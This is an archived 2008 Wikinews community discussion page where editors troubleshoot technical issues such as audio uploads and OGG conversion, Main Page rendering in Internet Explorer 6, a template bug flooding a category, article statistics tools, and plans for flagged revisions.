 * By the way, it is very easy for thoose who use linux (or mac probably). if you can find a copy ffmpeg for win, that also works well for audio (not video) ogg. Bawolff ☺☻ 01:11, 16 February 2008 (UTC)

Updating the new leads
After my bold edit to the Main Page, the method for updating leads has now changed. If you visit Template:Main Page Leads you will find 4 links at the top that point to the appropriate editing pages for each of the 4 leads - please ensure that you read the documentation on each of the new lead article pages! --Skenmy(t•c•w) 14:30, 15 February 2008 (UTC)
 * Excellent. The Main page collaboration page should be updated with the information to avoid havoc with editing old design/new design.  --David Shankbone - (talk) 14:53, 15 February 2008 (UTC)


 * Skenmy the main page doesn't look right in IE. Stuff is overlapping other stuff.--SVTCobra 14:59, 15 February 2008 (UTC)
 * It's not that bad in my Explorer, just the middle section is slightly "thinner" than the top and bottom. AzaToth's other redesign of three columns, which looks really good and will help accommodate things like a "Wikipedia news" section or other new features, will take care of it.  --David Shankbone - (talk) 15:04, 15 February 2008 (UTC)
 * Fixed for now - not the most elegant of solutions (uses tables) but works well! --Skenmy(t•c•w) 15:05, 15 February 2008 (UTC)
 * Can you make the blue box lead longer, but not wider, so that the third lead's text does not run over? --David Shankbone - (talk) 15:08, 15 February 2008 (UTC)
 * AzaToth fixed it again using a more elegant div solution. --Skenmy(t•c•w) 15:13, 15 February 2008 (UTC)
 * Not in IE, and I think I actually was the one who fixed it by adding in more text into the blue box lead, to make it longer (which it needed to be anyway). I'm very excited about this new look.  Really.  --David Shankbone - (talk) 15:17, 15 February 2008 (UTC)
 * From what I can tel in my IE testing it is fixed. Time shall tell :) --Skenmy(t•c•w) 15:23, 15 February 2008 (UTC)
 * I reverted myself and now look at it in IE. --David Shankbone - (talk) 15:27, 15 February 2008 (UTC)
 * (bump back) All the articles stay in their appropriate columns for me... what version of IE are you using? (IE7 for me) --Skenmy(t•c•w) 15:31, 15 February 2008 (UTC)
 * Version 6.0. --David Shankbone - (talk) 15:36, 15 February 2008 (UTC)
 * And that be your problem :P I'll it on to AzaToth to see what he can do - perhaps upgrade to IE 7? --Skenmy(t•c•w) 15:37, 15 February 2008 (UTC)
 * Haha - I'm at work at a very large law firm, but I will put in the suggestion ;-) --David Shankbone - (talk) 15:55, 15 February 2008 (UTC)
 * IE 6 is still widely used enough that the main page should look pretty in it. Bawolff ☺☻ 01:13, 16 February 2008 (UTC)

Wikinews WAP
There appears to be a WAP version of Wikinews: http://en.wikinews.7val.com/. Who manages this, and who can fix it, because it doesn't seem to be updating? Can we add it to Syndication once it's fixed? --Steven Fruitsmaak (Reply) 13:20, 19 February 2008 (UTC)
 * According to this (old) article, 7VAL removed support for projects other than Wikipedia due to traffic. I didn't find any other relevant information. --SVTCobra 01:20, 20 February 2008 (UTC)

(copied from Talk:Main Page by SVTCobra 02:42, 21 February 2008 (UTC)): Instead of using an external site, shouldn't we convince the powers to be to set up something similiar to http://en.wap.wikipedia.org ? Bawolff ☺☻ 06:13, 19 February 2008 (UTC)


 * Definitely. --Steven Fruitsmaak (Reply) 13:55, 21 February 2008 (UTC)

Audio update
Many will be happy to know that I have excellent software, Sony Sound Forge, that not only allows me to make razor-sharp edits to take out "off the record" material from my interviews, but also converts to OGG beautifully. The problem I am contending with now: the size. 20MB is the upload limited, and some of these are over 60MB they are so long. So, I'm trying to figure out a work-around that doesn't entail splitting them up. Open to suggestions. I have Billy West and Al Sharpton ready to go up. --David Shankbone - (talk) 01:12, 25 February 2008 (UTC)


 * If you think audio is bad, try video. Solution: split up or save in lower quality. --Steven Fruitsmaak (Reply) 02:02, 25 February 2008 (UTC)
 * I tried lower quality. Maybe I need to go lower.  I'm experimenting.  But for those who are always chanting 'Where's the audio?' know that I am working on it as promised.  --David Shankbone - (talk) 02:10, 25 February 2008 (UTC)
 * We - I - really appreciate that. --Steven Fruitsmaak (Reply) 02:33, 25 February 2008 (UTC)
 * Sound forge is a really great program, by the way. If one works in audio like I do, I have to recommend it.  It's what one is looking for.  --David Shankbone - (talk) 02:35, 25 February 2008 (UTC)
 * Try changing codecs (if your program allows). For plain speech, I believe (based on what I've read. I have no practical experience, and otherwise don't really know what I'm talking about...), ogg speex can be significantly smaller then ogg vorbis or ogg flac. Bawolff ☺☻ 06:53, 25 February 2008 (UTC)

"Wikinews has a problem" - "This site is experiencing technical difficulties"
Recently, today especially, I have noticed that message coming up very often. It seems to happen when I am saving edits with about a quarter (probably more) of my edits today producing this message. Is this related to my browser/ISP/Operating System or is it a problem with Wikimedia servers? Is there any way this can be fixed or do I just have to live with it? Is this just a temporary problem? My knowledge of technical issues like this is very poor so I apologise if the answers to these questions are obvious. I also apologise if I sound angry, this is completely unintended. --Anonymous101 Talk 18:09, 26 February 2008 (UTC)
 * I have experienced this at times, but it seems not as often as you. I'd also like an answer.  Cirt - (talk) 20:33, 26 February 2008 (UTC)
 * Its a problem with wikimedia servers. If it keeps coming up a lot, you can ask the technies at #wikimedia-tech. Bawolff ☺☻ 20:43, 26 February 2008 (UTC)

Shankbone Audio Interviews
I think perhaps the best way to circumnavigate the size limitation issue for my audio files is to split them up, but not at the max allowed, but by section. The problem with this is that in my earlier interviews (primarily, but some in my later) I would ask questions all over the place. For instance, perhaps I would bring up the Iraq War early on, but then later on in the hour we would revisit the topic. I would move the conversation so that it would all be together topically. So, an audio interview on some of them wouldn't conform exactly to the order of the transcript. Ideas? Suggestions? --David Shankbone - (talk) 21:03, 28 February 2008 (UTC)


 * I can understand where you are coming from with this idea but suggest that it would be better to keep audio in the order in which it was recorded, even if this does split up topics discussed. By doing so it means that the listener is provided with the context in which a comment has been made which may be important. Adambro - (talk) 21:20, 28 February 2008 (UTC)
 * We really need to get the upload limit higher somehow. Its sad that gmail has a higher attachment limit, then wikimedia has for upload limit. Bawolff ☺☻ 03:17, 29 February 2008 (UTC)

Does this audio file crash your browser like it does mine (be forewarned)
IF so, it may be a problem with the OGG vorbis (as opposed to the other OGG formats), or perhaps I am uploading it too high quality (CD, 128mbps). It's only a five minute clip that I inserted on the Voice acting article. --David Shankbone - (talk) 04:41, 29 February 2008 (UTC)
 * 128/mbps - ! no wonder your having space issues. (you probably meant to write a k there). Bawolff ☺☻ 05:07, 29 February 2008 (UTC)
 * The java plugin sometimes crashes. I don't think this is your fault. looking. Bawolff ☺☻ 05:07, 29 February 2008 (UTC)
 * Works fine for me. If it consistantly does it, you may wish to write down your browser version and java version and file a bug report. Bawolff ☺☻ 05:09, 29 February 2008 (UTC)
 * It was Java on my browser. Thanks Bawolff.  --David Shankbone - (talk) 05:51, 29 February 2008 (UTC)
 * Still, it shouldn't cause your browser to crash no matter what. Bawolff ☺☻ 05:57, 4 March 2008 (UTC)

Comments talk: namespace
List of pages in Comments talk:

I'm not 100% sure how people end up here, since both an article and its talk page link only to Comments:, and the comments page itself has no tabs, and yet they do. And once you're in this namespace, there is no edit tab, so you have to manually enter the URL to edit it. There's also no consistent treatment of such pages - some have been moved/redirected to Talk:, others to Comments:, and still others left alone. Can we somehow (a) deactivate this namespace, (b) delete all the pages in it, or at the very least (c) add an edit tab? Chris Mann (Say hi!|Stalk me!) 00:39, 4 March 2008 (UTC)
 * ..or we could fix the javascript so its not as much of a piece of crap :) (but there doesn't seem much point considering the php extension will come online in the near future). Bawolff ☺☻ 05:40, 4 March 2008 (UTC)
 * It's probably just not compatible with the piece of crap browser I have at work. I'll try to test it on Safari/Firefox at home. Chris Mann (Say hi!|Stalk me!) 23:42, 4 March 2008 (UTC)
 * No, their are issues with it in firefox. It works fine, but I still think that the interface is a bit confusing. Bawolff ☺☻ 00:11, 10 March 2008 (UTC)

Wikipedia article traffic statistics
http://stats.grok.se/

Does anyone know if this tool can be made to work for Wikinews articles, or if there are other (working/active) tools for Wikinews? If there are more than one, we should make a list somewhere of all of them. Cirt - (talk) 05:39, 11 March 2008 (UTC)
 * It doesn't work for wikinews, because the stats its based on are currently only released for 'pedia (we need to harass one of the developer for it, can't remember who. maybe Domas? I made a post about it on wc earlier i think). Leon's tool used to provide as stats but that died. Statistics are collected at Special:Statistics (look at external links section) and Awareness statistics. Cheers. Bawolff ☺☻ 04:59, 12 March 2008 (UTC)
 * In order to show that we are interested in this type of thing, we at Wikinews should create a page to collect the various ways to collect statistics on specific articles, and not just the project as a whole, as a page off of Wikinews:, like perhaps Article statistics, or something like that. Cirt - (talk) 05:32, 12 March 2008 (UTC)
 * While In the news, template:Popular articles(broken) and template:Popular articles/recent (broken). Main issue is we do not have such statistics at the moment, so such a page would be empty. Do you have any idea where we can get some? Bawolff ☺☻ 05:34, 12 March 2008 (UTC)
 * We could steal wiktionary's survey system. Bawolff ☺☻ 05:46, 12 March 2008 (UTC)

I really don't know of the best place to get these sorts of statistics on individual articles like they have for http://stats.grok.se/ - that is why I was posting a request here, to get stuff moving/brainstorming. Cirt - (talk) 05:51, 12 March 2008 (UTC)
 * I see two possible ways:


 * get the wikipedia stats for wikinews. see http://lists.wikimedia.org/pipermail/wikitech-l/2007-December/035463.html
 * Get Leon's tool back (Don't know if we should yell at Leon, or get a wikinewsie who has a toolserver account to make a new one. Bawolff ☺☻ 06:01, 12 March 2008 (UTC)
 * I have a toolserver account but I'm not sure how the tool would work. Bjweeks - (talk) 17:59, 12 March 2008 (UTC)
 * Heres how it used to work: We have js that causes 1 in 50 users to load an image from toolserver (we should actually disable that now). Every half an hour, an awk script (or was it java program., can't remember) read the apache log file and fed hits per page into a db. php page displayed results. Once a month table was rolled over into a new month. Bawolff ☺☻ 03:20, 20 March 2008 (UTC)
 * I'll give it a shot early next week, I think I have an idea. Bjweeks - (talk) 06:20, 21 March 2008 (UTC)
 * Ooh exciting, glad you all are working on this. Cirt - (talk) 06:36, 21 March 2008 (UTC)

Template:Editprotected and Template:Archived
For some reason, the DPL of pages with protected page edit requests has suddenly ballooned to thousands of entries. The actual tag, however, appears on none of them. What they do have on them, however, is, which includes a reference to "editprotected" in nowiki tags. For reasons I am unable to fathom, the dynamic listing is still picking up this nowikied reference and adding the articles to the list. I would suggest that, until the DPL issue is fixed, the "archived" tag be modified to link to the editprotected template, since this use on other templates seems to be safe. (I would have made the suggested on WN:AAA or by putting an editprotected request on the template, but I'm rather afraid it would get lost in the mess.) Chris Mann (Say hi!|Stalk me!) 02:56, 12 March 2008 (UTC)


 * Having thought about it, of course the problem isn't with the DPL itself, but with Category:Protected edit requests. Chris Mann (Say hi!|Stalk me!) 03:09, 12 March 2008 (UTC)
 * I don't know what happened, but it is getting fixed. Mediawiki takes some time to delink lots of stuff (Job que is how many things in waiting list), so its going to take sometime for them to be out of the category. Making a blank edit to page will also force it out of category immediatly. (Theres also some other issues. for example anon101's page was in the ready cat). Bawolff ☺☻ 04:56, 12 March 2008 (UTC)

WN:AAA dynamic list for edit-protected
The dynamic list on WN:AAA that is supposed to list current editprotected has gone "berserk" and is now an impossibly long list. I checked a couple of the listed articles and they do not actually have editprotected on their talk pages. I am not sure what caused this. --SVTCobra 02:22, 13 March 2008 (UTC)


 * I noticed this yesterday (see above section), but apparently it isn't resolved yet. So far, the only thing I can see these articles having in common is that they've got the archived tag on them - if you look at, for example, the list of pages in userspace that supposedly include editprotected, they all have the archived tag on them. In fact, when I removed the archived tag from User:202.63.163.8/Philippines, it stopped including editprotected, supporting my theory. The tricky bit is working out why archived, which only includes editprotected inside nowiki tags, is apparently counting as an inclusion. Chris Mann (Say hi!|Stalk me!) 03:24, 13 March 2008 (UTC)
 * Although, there are at least a few pages that have the archive tag that don't include the editprotected one (again, easier to see if you look in the User: namespace), so I'm stumped. Chris Mann (Say hi!|Stalk me!) 03:48, 13 March 2008 (UTC)
 * This should be fixing itself now. Archived was indeed the culprit, it was treating   as a template use, even though it didn't show the template itself. For future reference, &lt;nowiki&gt; doesn't work well inside of templates anymore (new mediawiki parser I think), and you should instead use  . It may take a while for Category:Protected edit requests to empty out. (→ Zachary ) 07:26, 13 March 2008 (UTC)
 * I don't think it is fixed. I tried a hard refresh and purge and it still shows a bunch of pages that shouldn't be there. --SVTCobra 07:34, 13 March 2008 (UTC)
 * Assuming the edit that fixed it was this then I wouldn't start concluding that it isn't fixed. The template is used on thousands of pages, it will take time for this change to make its way through the system. Special:Statistics is showing over 600 jobs in the job queue, these could well be the update of the template, I'd suggest it is too early to start worrying that it hasn't been fixed just yet. Adambro - (talk) 12:49, 13 March 2008 (UTC)
 * It was also Archive-unreviewed that was using the broken &lt;nowiki&gt; stuff. So it should really be fixing now. (→ Zachary ) 17:09, 13 March 2008 (UTC)
 * Still not fixed, WikinewsImporterBot is still adding year old stories as just published. Tip for those experiencing this, exclude category "archived" (prolly a VERY dodgy fix). 86.21.74.40 01:52, 20 March 2008 (UTC)

Editing titles?
hi, cobra suggested editing the title of an article I'm working on. how does one do this? Thanks in advance!

Leila Monaghan - (talk) 21:43, 15 March 2008 (UTC)

And uploading non-listed file types to Media commons?
I have developed a graph of changing snowpack in Wyoming. How can I get it do upload when I don't have formal PDF software and the system doesn't accept .xcl, .doc, or .htm files which are the easy ways to do it? —The preceding unsigned comment was added by Leila Monaghan (talk • contribs)

Never mind, figured this one out. A png file is generated when an xcl graph gets saved to html.

Leila Monaghan - (talk) 02:53, 16 March 2008 (UTC)

Interwiki linking
The long form of the interwiki link for wikinews looks wrong and non-functional. Is there a problem with the table of interwiki linking codes that I found here?Electricmic - (talk) 12:33, 16 March 2008 (UTC)

http://en.wikinews.org/wiki/Help:Interwiki_linking#Project_titles_and_shortcuts

Templates stories?
Hi, having just walked through the fire of trying to figure out how the hell to put together an article, thought it would be really useful to have story templates on the Newsroom page that people can just click on and fill out. Was thinking of doing a couple of different templates for different kinds of stories--summaries, original reporting, stories with photographs, stories with links. Blogspot blog templates do a nice job of this.

I suspect that the sheer difficulty of working one's way through wikicode is inhibiting contributions, particularly from women.


 * I think you may be onto something - we have the sandbox, which is good for practice but doesn't tell you how to do anything, and we have a pile of policies, guidelines and essays, which mostly tell you how not to do things. Wikipedia has its Introduction tutorial, so why not here? I'd be willing to help set up some template articles and tutorial pages, if others are willing to help. (And doing a quick search, I see that we have Tutorial-Examples and Tutorial-Research article, both of which are useless, frankly, as much as I'm sure User:81.217.21.244 had good intentions when they created them back in 2005.) I'd just point out that your current attempt is probably best moved into Wikinews: space. Chris Mann (Say hi!|Stalk me!) 06:41, 17 March 2008 (UTC)

Hi Chris, I'd be delighted for your and anybody else's help on this. Can we leave my rudimentary attempt at a template in the "Articles in Preparation" section for now, though? Until there is a section on templates on the newsroom page, I know I really want to have a quick way to get the coding I need when I am composing an article. It is a fiddle stealing Brock's nice coding every time.

ps: Still don't know how to change article titles. Any suggestions?

Leila Monaghan - (talk) 11:33, 17 March 2008 (UTC)


 * When your account is about 4 days old, you will find pages get a "rename" tab between "history" and "watch"/"unwatch". Until then, just post a request here and someone will take care of it lickety-split. Chris Mann (Say hi!|Stalk me!) 12:53, 17 March 2008 (UTC)

Thanks! Can you change "Wyoming's changing weather" to "Climate change impacts Wyoming." Article is in the development section of the newsroom. Appreciate this.


 * Was looking for the templates to show somebody how to do formatting and they were not on the Articles in Development list where I put them. Can we PLEASE have something on the Newsroom page.  An advanced degree in computer programming should not be a prerequisite to publishing a Wikinews article.  This process needs simplification and templates are one way to accomplish that (or better yet fill in boxes as you have in Wikimedia uploading...probably don't have the coding skills for doing that but will look at Wikimedia's source and see if I understand it).

Single User Login
SUL has been enabled for Wikimedia administrators! If you are an administrator on any Wikimedia wiki, not including private wikis, you can go to Special:MergeAccount, and follow the instructions to make your login available on any public Wikimedia wiki. Thunderhead - (talk - email - contributions) 01:03, 27 March 2008 (UTC)

Navigation
Whoever changed the Navigation box please revert. One not all the useful inks are there. Two: some are broken. Three: now no one can go to live chat, watercooler or newsroom. This should have been done with consensus. DragonFire1024 (Talk to the Dragon) 17:14, 30 March 2008 (UTC)

Rendering on airport internet terminal
I'm sitting in Edinburgh airport at the moment, about to fly back to Brussels. I'm using the pay a pound for ten minutes terminal and the site rendering is atrocious. Text is tiny and this leaves the Main Page poorly formatted.

The text across the top of the screen says it is "Spectrum interactive". I will get the browser string by checkusering myself later. --Brian McNeil / talk 12:02, 6 April 2008 (UTC)


 * I have to say that's one of the more inventive uses for checkuser that I've heard. Then again, as long as you don't look at what other accounts might have used the same system, you can't really be pulled up for violating the privacy policy. Chris Mann (Say hi!|Stalk me!) 00:43, 7 April 2008 (UTC)


 * The string is Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) which isn't really much use. (Aside, no other edits from that IP). --Brian McNeil / talk 07:08, 10 April 2008 (UTC)
 * Well actually - that means that its from internet explorer 6 on windows XP (NT 5.0 is 2000 5.1 is xp and 6.0 is vista). (although an airport may have customized IE somewhat) Bawolff ☺☻ 04:50, 8 July 2008 (UTC)

File Uploads set to Autoconfirmed
As per Bug 12556, Wikinews' file uploads are now restricted to users who's accounts have been active for 4 or more days. Thunderhead 02:36, 10 April 2008 (UTC)
 * This needs mentioned on the upload page, possibly with a link to WN:YOURPHOTO --Brian McNeil / talk 08:46, 16 April 2008 (UTC)

Flagged revisions
I'm informed that flagged revisions has been reasonably well tested and tweaked and is likely to go live on the German Wikipedia sometime in the coming week. For various reasons we're keen to see it here as far as I'm aware. So, what are the technical requirements for Wikinews? Right now the extension has the eye of the developers, making this the ideal time to lay out what we need.
 * Should it be the default of available to autoconfirmed users?
 * Or, should it be a separate privilege?
 * Should we constitute an editorial team to manage flagging?
 * Is there any way to prevent unflagged articles appearing in the front page DPLs? --Brian McNeil / talk 07:25, 10 April 2008 (UTC)


 * If we want to use FlaggedRevs for recognition by Google News, it should become a restricted feature, possibly via an editorial team. Would an unflagged article with the publish-tag appear on the main page? I would assume not. --Steven Fruitsmaak (Reply) 12:27, 10 April 2008 (UTC)

Auto-archival of talk pages somehow?
Is there a bot on Wikinews to archive talk pages? For example on Wikipedia I am familiar with w:User:MiszaBot. Cirt - (talk) 22:14, 10 April 2008 (UTC)


 * Please see User:MiszaBot for info on auto archival of talk pages. --A101 - (talk) 17:26, 16 April 2008 (UTC)
 * Thanks! I'll check it out.  Cirt - (talk) 22:25, 16 April 2008 (UTC)

Welcome to Imbox
imbox

Yet another transfer from Wikipedia. I'll start translating stuff over to it later today. ViperSnake151 (talk) 15:36, 28 May 2008 (UTC)

Categories
I am a very regular wikipedia contributor (User:TonyTheTiger). We have created a section on the wikipedia Portal:Chicago, which grabs all news stories categorized as Chicago news. However, Chicagoans' Barack Obama and Hillary Clinton have been in the news and not getting categorized as Chicago News. Can this be changed?--66.99.0.56 17:07, 13 June 2008 (UTC)
 * Personally I don't think all news involving Clinton or Obama necessitates placement in Category:Chicago, Illinois - only if the news article itself has Chicago as a focal point. Cirt (talk) 17:22, 13 June 2008 (UTC)
 * I don't think I need to tell you what the local newspapers looked like when he clinched. This is Chicago news to us.--66.99.0.56 20:17, 13 June 2008 (UTC)
 * Perhaps yes, but not every single story involving Barack Obama is Chicago news. If there are some archived articles that are protected that you would like added to the category Category:Chicago, Illinois you can add a edit-protected request to the talk page of those articles. Cirt (talk) 20:44, 13 June 2008 (UTC)